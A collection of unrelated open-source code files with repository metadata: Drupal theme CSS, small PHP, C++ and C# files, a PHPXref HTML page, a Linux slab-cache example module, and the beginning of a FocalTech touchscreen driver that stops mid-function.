Fieldset wrapper around groups of form elements -- add border here */ fieldset { } /* Typography and spacing for legend of fieldsets */ fieldset legend { } /* Link style for legend of fieldsets */ fieldset legend, legend.collapse-processed, legend.collapse-processed a:link, legend.collapse-processed a:visited { } /* Custom icons on (open) collapsible fieldsets */ html.js fieldset.collapsible legend a:link, html.js fieldset.collapsible legend a:visited { } /* Custom icons on (closed) collapsible fieldsets */ html.js fieldset.collapsed legend a:link, html.js fieldset.collapsed legend a:visited { } /* Maintenance Page /-------------------------------------------------------------- */ /* Maintenance page tpl file in Fusion Core has simplified layout, but you can also add specific styles, such as a background, just for your offline page */ .in-maintenance { } /*--------------------------------------------------------------*/ /* Module styles /-------------------------------------------------------------- */ /* Book /-------------------------------------------------------------- */ .book-navigation .menu { border-top: 1px solid #ccc; } .book-navigation .page-links { border-top: 1px solid #ccc; border-bottom: 1px solid #ccc; } /* Comments /-------------------------------------------------------------- */ /* Style for each individual comment */ div.comment { } /* Subject (title) of each comment */ div.comment h3.title { } /* Links (edit, reply, delete) for each comment */ div.comment div.links a, div.comment ul.links a { } /* Alternating styles for even/odd comments */ .comments div.odd { background-color: #fff; } .comments div.even { background-color: #eee; } /* A special highlight style for a comment by the author of the node */ .comments div.comment-by-author { background-color: #ddd; } /* Comment signatures */ .signature { border-top: 1px solid #d6ddb9; } /* User avatars in comments */ .comment-wrapper .picture img { } /* Forum /-------------------------------------------------------------- */ #forum .description { } .forum-topic-navigation { border-top: 1px solid #888; border-bottom: 1px solid #888; } /* Poll /-------------------------------------------------------------- */ div.poll div.bar { background-color: #ddd; } div.poll div.bar div.foreground { background-color: #999; } /* Profiles /-------------------------------------------------------------- */ .profile .picture { float: none; } /* Styles for sub-headings on user profiles */ .profile dt { background-color: #ccc; } /* Skinr /-------------------------------------------------------------- */ /* This is a sample Skinr style to get you started. See fusion_starter.info */ .fusion-example-stylename .inner { /* When setting the background color, also set foreground colors for text and links, even if it's similar to the default body style. Remember, this block style may be used in regions with other foreground colors, thus making text invisible if left unspecified */ background-color: #ccc; color: #000; /* All padding and borders should go on the .inner div, so as not to break the widths of the grid */ border: 3px solid #000; padding: 10px; } /* Views /-------------------------------------------------------------- */ ls_tools .ls_tools-thumbnail img, .view-my-ls_toolss .ls_tools-thumbnail img{ max-height:110px; width:110px; /*display: table-cell; vertical-align: middle;*/ } .view-contest-ls_toolss .ls_tools-thumbnail, .view-my-ls_toolss .ls_tools-thumbnail{ width: 110px; position:relative; } .view-contest-ls_toolss .ls_tools-thumbnail-overlay, .view-my-ls_toolss .ls_tools-thumbnail-overlay{ /*position:absolute; background:url(../images/thumbnail_overlay.png); height: 112px; width:112px;*/ } .view-contest-ls_toolss .ls_tools-thumbnail-overlay-top, .view-my-ls_toolss .ls_tools-thumbnail-overlay-top{ position:absolute; background:url(../images/thumbnail_overlay_top.png) no-repeat; height: 8px; width:112px; z-index: 1; } .view-contest-ls_toolss .ls_tools-thumbnail-overlay-mid, .view-my-ls_toolss .ls_tools-thumbnail-overlay-mid{ position:absolute; background:url(../images/thumbnail_overlay_mid.png) repeat-y; height: 100%; width:112px; z-index: 0; } .view-contest-ls_toolss .ls_tools-thumbnail-overlay-bottom, .view-my-ls_toolss .ls_tools-thumbnail-overlay-bottom{ position:absolute; background:url(../images/thumbnail_overlay_bottom.png) no-repeat; height: 7px; width:112px; bottom: -0px; z-index: 1; } .view-contest-ls_toolss tr.even, .view-contest-ls_toolss tr.even td, .view-contest-ls_toolss tr.odd, .view-contest-ls_toolss tr.odd td, .view-my-ls_toolss tr.even, .view-my-ls_toolss tr.even td, .view-my-ls_toolss tr.odd, .view-my-ls_toolss tr.odd td{ background-color: white; } /* Widget FAKE Start Page /-------------------------------------------------------------- */ #home-content{ } #first-home-part{ width: 730px; height: 224px; background: url("../images/home/about_bg.png"); float: right; margin-bottom: 10px; position: relative; } #first-home-part h1{ color: white; font-size: 32px; margin-left: 15px; margin-top: 15px; width: 500px; line-height: 32px; text-transform: uppercase; } #first-home-part .first-home-part-text{ color: white; margin-left: 15px; margin-top: 15px; width: 500px; font-size: 16px; } #first-home-part .first-home-part-logo{ width: 140px; height: 224px; /*background: url("../images/home/contribute.png");*/ position: absolute; right: 20px; top: 0px; } #second-home-part{ width: 730px; height: 253px; background: url("../images/home/most-used-widgets.png"); float: right; } /* Comments /-------------------------------------------------------------- */ #comments { margin-top: 15px; } #comments .inner { margin: 0; } #comments .marina-rounded-corners .inner-wrapper { padding: 0; } #comments .marina-rounded-corners .inner-wrapper .inner-inner { background: none; padding-top: 3px; } #comments .block-icon { left: 6px; } #comments h2.comments-header { background: #232B36; display:block; font-weight:bold; height: 27px; padding-top:7px; padding-left: 10px; color: white; -moz-border-radius: 3px; -webkit-border-radius: 3px; -khtml-border-radius: 3px; border-radius: 3px; } #comments .content { background: transparent; border: none; } #main-wrapper #comments a.active { color: #27638C; text-decoration: none; } .box { padding: 10px; } #comment-form { margin: 0 0 20px; padding: 0 20px; } .comment { border: none; margin: 6px 0 0; padding: 10px; } .comment h3.title { font-weight: bold; margin: 0 0 5px 0; } .comment .links a { font-size: 100%; /* 12px/12px */ text-align: right; /* LTR */ } #comments .odd { background: #F4F7E7; border: 1px solid #ddd; } #comments .even { background: #fff; } #comments .comment-by-author { background: #FFFFEA; } .comment ul.links { text-align: right; /* LTR */ clear: right; } #content-content .comment ul.links li { background: transparent; margin: 0 10px 0 0; /* LTR */ padding: 0; } .content-content a, .content-content a:link, .content-content a:visited { /*color:#058908;*/ color:#333333; } .content-content legend.collapse-processed a, .content-content legend.collapse-processed a:link, .content-content legend.collapse-processed a:visited { color: #333333; } .signature { border-top: 1px solid #d6ddb9; font-family: serif; font-size: 100%; /* 12px/12px */ margin: 10px 0; padding: 0; } #comments .new { float: right; font-weight: bold; text-transform: uppercase; } ul.inline-tags{ background:none; } #share-this-container{ /*width: 100px;*/ position: absolute; top: 0px; right: 0px; } ul.share-this{ list-style:none; margin-left:0px; } ul.share-this li{ float:left; margin-right: 10px; } #node-93 h2, #node-1 h2{ margin:0; } .user-info-inner{ text-align: right; } .node-unpublished{ background-color: transparent; } .ls_tools-information-tabs .ui-tabs { zoom: 1; background: no-repeat scroll 0 0 transparent; margin-bottom: 0px; padding: 5px 0 20px; width: 1060px; z-index: 100; } .ls_tools-information-tabs .ui-tabs .ui-tabs-panel { padding: 0px; } .ls_tools-information-tabs .ui-tabs .ui-tabs-panel-inner { border: 1px solid #232B36; padding: 15px; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav { list-style: none; position: relative; padding: 0 0 0; margin: 0px; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li { position: relative; float: left; border-bottom-width: 0 !important; padding: 0 20px; background: #dddddd; border: 1px solid #232B36; /*width: 100px;*/ text-align: center; margin: 0px 0 0 10px; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li a { background: no-repeat scroll right center transparent; display: block; height: 24px; margin: 0 0; padding: 4px 4px 0 0; text-decoration: none; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li a span { float: left; text-decoration: none; color: #26292E; display: block; font-size: 12px; font-weight: bold; height: 20px; padding: 4px 4px 0 8px; text-align: center; text-transform: uppercase; background: no-repeat scroll left center transparent; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li.ui-tabs-selected{ margin-bottom: 0px; background: no-repeat scroll right center #fff; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; padding-bottom: 1px; border-bottom-width: 0; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li.ui-tabs-selected a span{ padding-bottom: 1px; background: no-repeat scroll left center transparent; } .ls_tools-information-tabs .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ls_tools-information-tabs .ui-tabs .ui-tabs-panel { display: block; border-width: 0; background: none; } /* Image upload form*/ .jquery_ui_dialog-dialog-wrapper .ui-widget-header { color: #fff; } #jq-ui-dialog-container{ padding: 0; } #jq-ui-dialog-iframe{ margin-left: auto; margin-right: auto; display: block; } html#jquery_ui_dialog, body#jquery_ui_dialog{ min-height: 100%; overflow: auto; } /* FAQ page*/ .faq-description{ margin-bottom: 15px; } .faq-qa-header h5{ font-size: 130%; } .faq-qa-description p{ margin-top: 5px; } .faq-qa a{ font-size: 110%; }
ROLE/widget-store
src/main/drupal/sites/all/themes/role_widget_store/css/role_widget_store.css
CSS
gpl-2.0
26,641
<?php // LIBS PHP echo "ddfdf"; $directorio = opendir("lib"); //ruta actual while ($archivo = readdir($directorio)) //obtenemos un archivo y luego otro sucesivamente { if(!is_dir($archivo) and strpos($archivo, "[essential]") => 0)//verificamos si es o no un directorio { echo "archivos esenciales"; } } ?>
acalvoa/EOLLICE
controller/libs.php
PHP
gpl-2.0
325
/* remar2d - a 2D graphics engine using SDL Copyright (C) 2007 Andreas Remar, andreas.remar@gmail.com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef TILE_H #define TILE_H #include "SpriteInstance.h" #include <list> using namespace std; class Tile { public: Tile(); Tile(const char *tileSet, int x, int y); /** Add sprite instance to tile to indicate that this sprite should be redrawn if this tile is redrawn. */ void addSpriteInstance(SpriteInstance *spriteInstance); /** Remove sprite instance from tile to indicate that this sprite has left the tile so redraw isn't needed when tile is redrawn. */ void removeSpriteInstance(SpriteInstance *spriteInstance); list<SpriteInstance *> *getListOfSprites(); void setListOfSprites(list<SpriteInstance *> *oldSpriteList); void markSpritesDirty(); const char *tileSet; /* Tile position in the tileset */ int x, y; bool redraw; list<SpriteInstance *> sprites; /* If empty, this tile contains no graphic, just overdraw with background color when necessary */ bool empty; }; #endif
remar/remar2d
src/Tile.h
C
gpl-2.0
1,778
<?php namespace tachyon\exceptions; /** * @author Андрей Сердюк * @copyright (c) 2020 IMND */ class FileNotFoundException extends \Exception { }
imnd/tachyon
src/exceptions/FileNotFoundException.php
PHP
gpl-2.0
171
using System; using System.Collections.Generic; using System.Web; namespace NFinal.Compile { /// <summary> /// 从SQL语句中分析的表信息 /// </summary> public class Table { public string sql = string.Empty; public string name = string.Empty; public string dataBaseName = string.Empty; public string dboName = string.Empty; public string fullName = string.Empty; public string asName = string.Empty; } }
xiaolu6t6t/NFinal
WebMvc/NFinal/Compile/Table.cs
C#
gpl-2.0
489
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"> <html> <head> <title>PHPXRef 0.7.1 : Unnamed Project : Variable Reference: $trace_length</title> <link rel="stylesheet" href="../sample.css" type="text/css"> <link rel="stylesheet" href="../sample-print.css" type="text/css" media="print"> <style id="hilight" type="text/css"></style> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"> </head> <body bgcolor="#ffffff" text="#000000" link="#801800" vlink="#300540" alink="#ffffff"> <table class="pagetitle" width="100%"> <tr> <td valign="top" class="pagetitle"> [ <a href="../index.html">Index</a> ] </td> <td align="right" class="pagetitle"> <h2 style="margin-bottom: 0px">PHP Cross Reference of Unnamed Project</h2> </td> </tr> </table> <!-- Generated by PHPXref 0.7.1 at Sat Nov 21 22:13:19 2015 --> <!-- PHPXref (c) 2000-2010 Gareth Watts - gareth@omnipotent.net --> <!-- http://phpxref.sourceforge.net/ --> <script src="../phpxref.js" type="text/javascript"></script> <script language="JavaScript" type="text/javascript"> <!-- ext='.html'; relbase='../'; subdir='_variables'; filename='index.html'; cookiekey='phpxref'; handleNavFrame(relbase, subdir, filename); logVariable('trace_length'); // --> </script> <script language="JavaScript" type="text/javascript"> if (gwGetCookie('xrefnav')=='off') document.write('<p class="navlinks">[ <a href="javascript:navOn()">Show Explorer<\/a> ]<\/p>'); else document.write('<p class="navlinks">[ <a href="javascript:navOff()">Hide Explorer<\/a> ]<\/p>'); </script> <noscript> <p class="navlinks"> [ <a href="../nav.html" target="_top">Show Explorer</a> ] [ <a href="index.html" target="_top">Hide Navbar</a> ] </p> </noscript> [<a href="../index.html">Top level directory</a>]<br> <script language="JavaScript" type="text/javascript"> <!-- document.writeln('<table align="right" class="searchbox-link"><tr><td><a class="searchbox-link" href="javascript:void(0)" onMouseOver="showSearchBox()">Search</a><br>'); document.writeln('<table border="0" cellspacing="0" cellpadding="0" class="searchbox" id="searchbox">'); document.writeln('<tr><td class="searchbox-title">'); document.writeln('<a class="searchbox-title" href="javascript:showSearchPopup()">Search History +</a>'); document.writeln('<\/td><\/tr>'); document.writeln('<tr><td class="searchbox-body" id="searchbox-body">'); document.writeln('<form name="search" style="margin:0px; padding:0px" onSubmit=\'return jump()\'>'); document.writeln('<a class="searchbox-body" href="../_classes/index.html">Class<\/a>: '); document.writeln('<input type="text" size=10 value="" name="classname"><br>'); document.writeln('<a id="funcsearchlink" class="searchbox-body" href="../_functions/index.html">Function<\/a>: '); document.writeln('<input type="text" size=10 value="" name="funcname"><br>'); document.writeln('<a class="searchbox-body" href="../_variables/index.html">Variable<\/a>: '); document.writeln('<input type="text" size=10 value="" name="varname"><br>'); document.writeln('<a class="searchbox-body" href="../_constants/index.html">Constant<\/a>: '); document.writeln('<input type="text" size=10 value="" name="constname"><br>'); document.writeln('<a class="searchbox-body" href="../_tables/index.html">Table<\/a>: '); document.writeln('<input type="text" size=10 value="" name="tablename"><br>'); document.writeln('<input type="submit" class="searchbox-button" value="Search">'); document.writeln('<\/form>'); document.writeln('<\/td><\/tr><\/table>'); document.writeln('<\/td><\/tr><\/table>'); // --> </script> <div id="search-popup" class="searchpopup"><p id="searchpopup-title" class="searchpopup-title">title</p><div id="searchpopup-body" class="searchpopup-body">Body</div><p class="searchpopup-close"><a href="javascript:gwCloseActive()">[close]</a></p></div> <h3>Variable Cross Reference</h3> <h2><a href="index.html#trace_length">$trace_length</a></h2> <b>Defined at:</b><ul> <li><a href="../inc/_core/_misc.funcs.php.html">/inc/_core/_misc.funcs.php</A> -> <a href="../inc/_core/_misc.funcs.php.source.html#l2353"> line 2353</A></li> </ul> <br><b>Referenced 4 times:</b><ul> <li><a href="../inc/_core/_misc.funcs.php.html">/inc/_core/_misc.funcs.php</a> -> <a href="../inc/_core/_misc.funcs.php.source.html#l2353"> line 2353</a></li> <li><a href="../inc/_core/_misc.funcs.php.html">/inc/_core/_misc.funcs.php</a> -> <a href="../inc/_core/_misc.funcs.php.source.html#l2395"> line 2395</a></li> <li><a href="../inc/_core/_misc.funcs.php.html">/inc/_core/_misc.funcs.php</a> -> <a href="../inc/_core/_misc.funcs.php.source.html#l2398"> line 2398</a></li> <li><a href="../inc/_core/_misc.funcs.php.html">/inc/_core/_misc.funcs.php</a> -> <a href="../inc/_core/_misc.funcs.php.source.html#l2400"> line 2400</a></li> </ul> <!-- A link to the phpxref site in your customized footer file is appreciated ;-) --> <br><hr> <table width="100%"> <tr><td>Generated: Sat Nov 21 22:13:19 2015</td> <td align="right"><i>Cross-referenced by <a href="http://phpxref.sourceforge.net/">PHPXref 0.7.1</a></i></td> </tr> </table> </body></html>
mgsolipa/b2evolution_phpxref
_variables/trace_length.html
HTML
gpl-2.0
5,205
#include<linux/init.h> #include<linux/kernel.h> #include<linux/slab.h> static struct kmem_cache *cache_ex; static struct example { char a[20]; short b[20]; unsigned int c[10]; unsigned long d[20]; }; struct example ex, *p; static int slab_in(void) { printk("size of structure: %d",sizeof(struct example)); cache_ex = kmem_cache_create("lnt_cache",sizeof(struct example),__alignof__(struct example),NULL,NULL); if(!cache_ex) printk("Error while creating cache \n"); /* p=kmem_cache_alloc(cache_ex,GFP_KERNEL); if(!p) printk("Error while allocating cache \n");*/ return 0; } static void slab_ex(void) { printk("destroying the cache \n"); /* kmem_cache_free(cache_ex,p);*/ kmem_cache_destroy(cache_ex); return; } module_init(slab_in); module_exit(slab_ex);
prashantchikhalkar/c_ritchie
linux/practice/slab_ex.c
C
gpl-2.0
792
/* * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * VERSION DATE AUTHOR Note * 1.0 2013-7-16 Focaltech initial based on MTK platform * */ ////////////////////////////////////// #include "tpd.h" #include "tpd_custom_fts.h" #ifdef FTS_CTL_IIC #include "focaltech_ctl.h" #endif #ifdef TPD_SYSFS_DEBUG #include "focaltech_ex_fun.h" #endif #ifdef TPD_PROXIMITY #include <linux/hwmsensor.h> #include <linux/hwmsen_dev.h> #include <linux/sensors_io.h> #endif #include "cust_gpio_usage.h" #include <mach/battery_common.h> extern struct tpd_device *tpd; //#define FTS_SCAP_TEST #ifdef FTS_SCAP_TEST struct i2c_client *g_focalclient = NULL; #endif static bool TP_gesture_Switch; #define GESTURE_SWITCH_FILE "/data/data/com.example.setgesture/shared_prefs/gesture.xml" //总开关文件,获取第一个value的值,为1开,为0关 #ifdef FT6x36_DOWNLOAD #include "ft6x36_download_lib.h" static struct i2c_client *g_i2c_client = NULL; static unsigned char CTPM_MAIN_FW1[]= { #include "FT6336_V9_S4153_TH0464F00A_0x12_all.i" }; static unsigned char CTPM_MAIN_FW2[]= { #include "FT6336_V9_S4153_HC-C1853_0x12_all.i" }; #endif //wangcq327 --- add start static int TP_VOL; //wangcq327 --- add end struct Upgrade_Info fts_updateinfo[] = { {0x55,"FT5x06",TPD_MAX_POINTS_5,AUTO_CLB_NEED,50, 30, 0x79, 0x03, 1, 2000}, {0x08,"FT5606",TPD_MAX_POINTS_5,AUTO_CLB_NEED,50, 30, 0x79, 0x06, 100, 2000}, {0x0a,"FT5x16",TPD_MAX_POINTS_5,AUTO_CLB_NEED,50, 30, 0x79, 0x07, 1, 1500}, {0x05,"FT6208",TPD_MAX_POINTS_2,AUTO_CLB_NONEED,60, 30, 0x79, 0x05, 10, 2000}, {0x06,"FT6x06",TPD_MAX_POINTS_2,AUTO_CLB_NONEED,100, 30, 0x79, 0x08, 10, 2000}, {0x36,"FT6x36",TPD_MAX_POINTS_2,AUTO_CLB_NONEED,100, 30, 0x79, 0x18, 10, 2000},//CHIP ID error {0x55,"FT5x06i",TPD_MAX_POINTS_5,AUTO_CLB_NEED,50, 30, 0x79, 0x03, 1, 2000}, {0x14,"FT5336",TPD_MAX_POINTS_5,AUTO_CLB_NONEED,30, 30, 0x79, 0x11, 10, 2000}, {0x13,"FT3316",TPD_MAX_POINTS_5,AUTO_CLB_NONEED,30, 30, 0x79, 0x11, 10, 2000}, {0x12,"FT5436i",TPD_MAX_POINTS_5,AUTO_CLB_NONEED,30, 30, 0x79, 0x11, 10, 2000}, {0x11,"FT5336i",TPD_MAX_POINTS_5,AUTO_CLB_NONEED,30, 30, 0x79, 0x11, 10, 2000}, {0x54,"FT5x46",TPD_MAX_POINTS_5,AUTO_CLB_NONEED,2, 2, 0x54, 0x2c, 10, 2000}, }; struct Upgrade_Info fts_updateinfo_curr; #ifdef TPD_PROXIMITY #define APS_ERR(fmt,arg...) printk("<<proximity>> "fmt"\n",##arg) #define TPD_PROXIMITY_DEBUG(fmt,arg...) printk("<<proximity>> "fmt"\n",##arg) #define TPD_PROXIMITY_DMESG(fmt,arg...) printk("<<proximity>> "fmt"\n",##arg) static u8 tpd_proximity_flag = 0; static u8 tpd_proximity_suspend = 0; static u8 tpd_proximity_detect = 1;//0-->close ; 1--> far away static u8 tpd_proximity_detect_prev = 0xff;//0-->close ; 1--> far away #endif #ifdef FTS_GESTRUE #define GESTURE_LEFT 0x20 #define GESTURE_RIGHT 0x21 #define GESTURE_UP 0x22 #define GESTURE_DOWN 0x23 #define GESTURE_DOUBLECLICK 0x24 #define GESTURE_O 0x30 #define GESTURE_W 0x31 #define GESTURE_M 0x32 #define GESTURE_E 0x33 #define GESTURE_C 0x34 #define GESTURE_L 0x44 #define GESTURE_S 0x46 #define GESTURE_V 0x54 #define GESTURE_Z 0x65 #include "ft_gesture_lib.h" #define FTS_GESTRUE_POINTS 255 #define FTS_GESTRUE_POINTS_ONETIME 62 #define FTS_GESTRUE_POINTS_HEADER 8 #define FTS_GESTURE_OUTPUT_ADRESS 0xD3 #define FTS_GESTURE_OUTPUT_UNIT_LENGTH 4 //suspend_state_t get_suspend_state(void); unsigned short coordinate_x[150] = {0}; unsigned short coordinate_y[150] = {0}; #endif extern struct tpd_device *tpd; static struct i2c_client *i2c_client = NULL; struct task_struct *thread = NULL; static DECLARE_WAIT_QUEUE_HEAD(waiter); static DEFINE_MUTEX(i2c_access); static void tpd_eint_interrupt_handler(void); extern void mt_eint_unmask(unsigned int line); extern void mt_eint_mask(unsigned int line); extern void mt_eint_set_hw_debounce(unsigned int eint_num, unsigned int ms); extern unsigned int mt_eint_set_sens(unsigned int eint_num, unsigned int sens); //extern void mt_eint_registration(unsigned int eint_num, unsigned int is_deb_en, unsigned int pol, void (EINT_FUNC_PTR)(void), unsigned int is_auto_umask); extern int tpd_get_gesture_state(void); extern unsigned int g_call_state; static int tpd_probe(struct i2c_client *client, const struct i2c_device_id *id); static int tpd_detect (struct i2c_client *client, struct i2c_board_info *info); static int tpd_remove(struct i2c_client *client); static int touch_event_handler(void *unused); static int tpd_flag = 0; static int tpd_halt = 0; static int point_num = 0; static int p_point_num = 0; //#define TPD_CLOSE_POWER_IN_SLEEP #define TPD_OK 0 //register define #define DEVICE_MODE 0x00 #define GEST_ID 0x01 #define TD_STATUS 0x02 //point1 info from 0x03~0x08 //point2 info from 0x09~0x0E //point3 info from 0x0F~0x14 //point4 info from 0x15~0x1A //point5 info from 0x1B~0x20 //register define #define TPD_RESET_ISSUE_WORKAROUND #define TPD_MAX_RESET_COUNT 2 //extern int tpd_mstar_status ; // compatible mstar and ft6306 chenzhecong #ifdef TPD_HAVE_BUTTON static int tpd_keys_local[TPD_KEY_COUNT] = TPD_KEYS; static int tpd_keys_dim_local[TPD_KEY_COUNT][4] = TPD_KEYS_DIM; #endif #if (defined(TPD_WARP_START) && defined(TPD_WARP_END)) static int tpd_wb_start_local[TPD_WARP_CNT] = TPD_WARP_START; static int tpd_wb_end_local[TPD_WARP_CNT] = TPD_WARP_END; #endif #if (defined(TPD_HAVE_CALIBRATION) && !defined(TPD_CUSTOM_CALIBRATION)) static int tpd_calmat_local[8] = TPD_CALIBRATION_MATRIX; static int tpd_def_calmat_local[8] = TPD_CALIBRATION_MATRIX; #endif #define VELOCITY_CUSTOM_FT5206 #ifdef VELOCITY_CUSTOM_FT5206 #include <linux/device.h> #include <linux/miscdevice.h> #include <asm/uaccess.h> // for magnify velocity******************************************** #ifndef TPD_VELOCITY_CUSTOM_X #define TPD_VELOCITY_CUSTOM_X 10 #endif #ifndef TPD_VELOCITY_CUSTOM_Y #define TPD_VELOCITY_CUSTOM_Y 10 #endif #define TOUCH_IOC_MAGIC 'A' #define TPD_GET_VELOCITY_CUSTOM_X _IO(TOUCH_IOC_MAGIC,0) #define TPD_GET_VELOCITY_CUSTOM_Y _IO(TOUCH_IOC_MAGIC,1) static int g_v_magnify_x =TPD_VELOCITY_CUSTOM_X; static int g_v_magnify_y =TPD_VELOCITY_CUSTOM_Y; static int tpd_misc_open(struct inode *inode, struct file *file) { /* file->private_data = adxl345_i2c_client; if(file->private_data == NULL) { printk("tpd: null pointer!!\n"); return -EINVAL; } */ return nonseekable_open(inode, file); } /*----------------------------------------------------------------------------*/ static int tpd_misc_release(struct inode *inode, struct file *file) { //file->private_data = NULL; return 0; } /*----------------------------------------------------------------------------*/ //static int adxl345_ioctl(struct inode *inode, struct file *file, unsigned int cmd, // unsigned long arg) static long tpd_unlocked_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { //struct i2c_client *client = (struct i2c_client*)file->private_data; //struct adxl345_i2c_data *obj = (struct adxl345_i2c_data*)i2c_get_clientdata(client); //char strbuf[256]; void __user *data; long err = 0; if(_IOC_DIR(cmd) & _IOC_READ) { err = !access_ok(VERIFY_WRITE, (void __user *)arg, _IOC_SIZE(cmd)); } else if(_IOC_DIR(cmd) & _IOC_WRITE) { err = !access_ok(VERIFY_READ, (void __user *)arg, _IOC_SIZE(cmd)); } if(err) { printk("tpd: access error: %08X, (%2d, %2d)\n", cmd, _IOC_DIR(cmd), _IOC_SIZE(cmd)); return -EFAULT; } switch(cmd) { case TPD_GET_VELOCITY_CUSTOM_X: data = (void __user *) arg; if(data == NULL) { err = -EINVAL; break; } if(copy_to_user(data, &g_v_magnify_x, sizeof(g_v_magnify_x))) { err = -EFAULT; break; } break; case TPD_GET_VELOCITY_CUSTOM_Y: data = (void __user *) arg; if(data == NULL) { err = -EINVAL; break; } if(copy_to_user(data, &g_v_magnify_y, sizeof(g_v_magnify_y))) { err = -EFAULT; break; } break; default: printk("tpd: unknown IOCTL: 0x%08x\n", cmd); err = -ENOIOCTLCMD; break; } return err; } static struct file_operations tpd_fops = { // .owner = THIS_MODULE, .open = tpd_misc_open, .release = tpd_misc_release, .unlocked_ioctl = tpd_unlocked_ioctl, }; /*----------------------------------------------------------------------------*/ static struct miscdevice tpd_misc_device = { .minor = MISC_DYNAMIC_MINOR, .name = TPD_NAME, .fops = &tpd_fops, }; //********************************************** #endif struct touch_info { int y[10]; int x[10]; int p[10]; int id[10]; }; static const struct i2c_device_id ft5206_tpd_id[] = {{TPD_NAME,0},{}}; //unsigned short force[] = {0,0x70,I2C_CLIENT_END,I2C_CLIENT_END}; //static const unsigned short * const forces[] = { force, NULL }; //static struct i2c_client_address_data addr_data = { .forces = forces, }; static struct i2c_board_info __initdata ft5206_i2c_tpd={ I2C_BOARD_INFO(TPD_NAME, (0x70>>1))}; static struct i2c_driver tpd_i2c_driver = { .driver = { .name = TPD_NAME, // .owner = THIS_MODULE, }, .probe = tpd_probe, .remove = tpd_remove, .id_table = ft5206_tpd_id, .detect = tpd_detect, // .shutdown = tpd_shutdown, // .address_data = &addr_data, }; static void tpd_down(int x, int y, int p) { // input_report_abs(tpd->dev, ABS_PRESSURE, p); input_report_key(tpd->dev, BTN_TOUCH, 1); input_report_abs(tpd->dev, ABS_MT_TOUCH_MAJOR, 20); input_report_abs(tpd->dev, ABS_MT_POSITION_X, x); input_report_abs(tpd->dev, ABS_MT_POSITION_Y, y); //printk("D[%4d %4d %4d] ", x, y, p); /* track id Start 0 */ //input_report_abs(tpd->dev, ABS_MT_TRACKING_ID, p); input_mt_sync(tpd->dev); TPD_EM_PRINT(x, y, x, y, p-1, 1); // if (FACTORY_BOOT == get_boot_mode()|| RECOVERY_BOOT == get_boot_mode()) // { // tpd_button(x, y, 1); // } } static void tpd_up(int x, int y) { //input_report_abs(tpd->dev, ABS_PRESSURE, 0); input_report_key(tpd->dev, BTN_TOUCH, 0); //input_report_abs(tpd->dev, ABS_MT_TOUCH_MAJOR, 0); //input_report_abs(tpd->dev, ABS_MT_POSITION_X, x); //input_report_abs(tpd->dev, ABS_MT_POSITION_Y, y); //printk("U[%4d %4d %4d] ", x, y, 0); input_mt_sync(tpd->dev); TPD_EM_PRINT(x, y, x, y, 0, 0); // if (FACTORY_BOOT == get_boot_mode()|| RECOVERY_BOOT == get_boot_mode()) // { // tpd_button(x, y, 0); // } } static int tpd_touchinfo(struct touch_info *cinfo, struct touch_info *pinfo) { int i = 0; //#if (TPD_MAX_POINTS==2) // char data[35] = {0}; //#else // char data[16] = {0}; //#endif char data[128] = {0}; u16 high_byte,low_byte,reg; u8 report_rate =0; p_point_num = point_num; if (tpd_halt) { TPD_DMESG( "tpd_touchinfo return ..\n"); return false; } mutex_lock(&i2c_access); reg = 0x00; fts_i2c_Read(i2c_client, &reg, 1, data, 64); mutex_unlock(&i2c_access); //TPD_DEBUG("received raw data from touch panel as following:\n"); //TPD_DEBUG("[data[0]=%x,data[1]= %x ,data[2]=%x ,data[3]=%x ,data[4]=%x ,data[5]=%x]\n",data[0],data[1],data[2],data[3],data[4],data[5]); //TPD_DEBUG("[data[9]=%x,data[10]= %x ,data[11]=%x ,data[12]=%x]\n",data[9],data[10],data[11],data[12]); //TPD_DEBUG("[data[15]=%x,data[16]= %x ,data[17]=%x ,data[18]=%x]\n",data[15],data[16],data[17],data[18]); /*get the number of the touch points*/ point_num= data[2] & 0x0f; //TPD_DEBUG("point_num =%d\n",point_num); if(point_num>fts_updateinfo_curr.TPD_MAX_POINTS)return false; for(i = 0; i < point_num; i++) { cinfo->p[i] = data[3+6*i] >> 6; //event flag cinfo->id[i] = data[3+6*i+2]>>4; //touch id /*get the X coordinate, 2 bytes*/ high_byte = data[3+6*i]; high_byte <<= 8; high_byte &= 0x0f00; low_byte = data[3+6*i + 1]; cinfo->x[i] = high_byte |low_byte; //cinfo->x[i] = cinfo->x[i] * 480 >> 11; //calibra /*get the Y coordinate, 2 bytes*/ high_byte = data[3+6*i+2]; high_byte <<= 8; high_byte &= 0x0f00; low_byte = data[3+6*i+3]; cinfo->y[i] = high_byte |low_byte; //if(!(point_num) && !(cinfo->p[i]) && !(cinfo->id[i]) && !(cinfo->x[i]) && !(cinfo->y[i]))return false; //cinfo->y[i]= cinfo->y[i] * 800 >> 11; } TPD_DEBUG(" cinfo->x[0] = %d, cinfo->y[0] = %d, 